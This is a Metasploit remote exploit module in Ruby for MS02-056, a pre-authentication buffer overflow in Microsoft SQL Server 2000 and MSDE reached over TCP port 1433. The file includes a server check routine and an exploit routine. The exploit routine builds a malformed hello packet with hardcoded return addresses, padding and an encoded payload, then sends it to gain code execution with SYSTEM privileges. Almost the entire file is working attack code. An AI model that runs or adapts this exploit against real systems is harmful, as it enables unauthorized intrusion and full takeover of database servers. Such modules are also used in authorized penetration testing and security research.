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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::MSSQL
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',
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        'Description' => %q{
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          By sending malformed data to TCP port 1433, an
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          unauthenticated remote attacker could overflow a buffer and
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          possibly execute code on the server with SYSTEM level
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          privileges. This module should work against any vulnerable
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          SQL Server 2000 or MSDE install (< SP3).
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2002-1123'],
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          [ 'OSVDB', '10132'],
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          [ 'BID', '5411'],
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          [ 'MSB', 'MS02-056'],
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        ],
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 512,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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        'Targets' => [
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          [
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            'MSSQL 2000 / MSDE <= SP2',
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            {
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              'Platform' => 'win',
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              'Rets' => [0x42b68aba, 0x42d01e50],
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            },
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          ],
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        ],
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        'Platform' => 'win',
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        'DisclosureDate' => '2002-08-05',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def check
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    info = mssql_ping
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    if (info['ServerName'])
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      print_status("SQL Server Information:")
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      info.each_pair { |k, v|
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        print_status("   #{k + (" " * (15 - k.length))} = #{v}")
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      }
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
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          "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
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          "\x10\x00\x00\x00" +
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          rand_text_english(528, payload_badchars) +
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          "\x1B\xA5\xEE\x34" +
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          rand_text_english(4, payload_badchars) +
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          [ target['Rets'][0] ].pack('V') +
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          [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
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          '3333' +
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          [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
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          rand_text_english(88, payload_badchars) +
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          payload.encoded +
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          "\x00\x24\x01\x00\x00"
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    sock.put(buf)
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    handler
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    disconnect
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  end
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end
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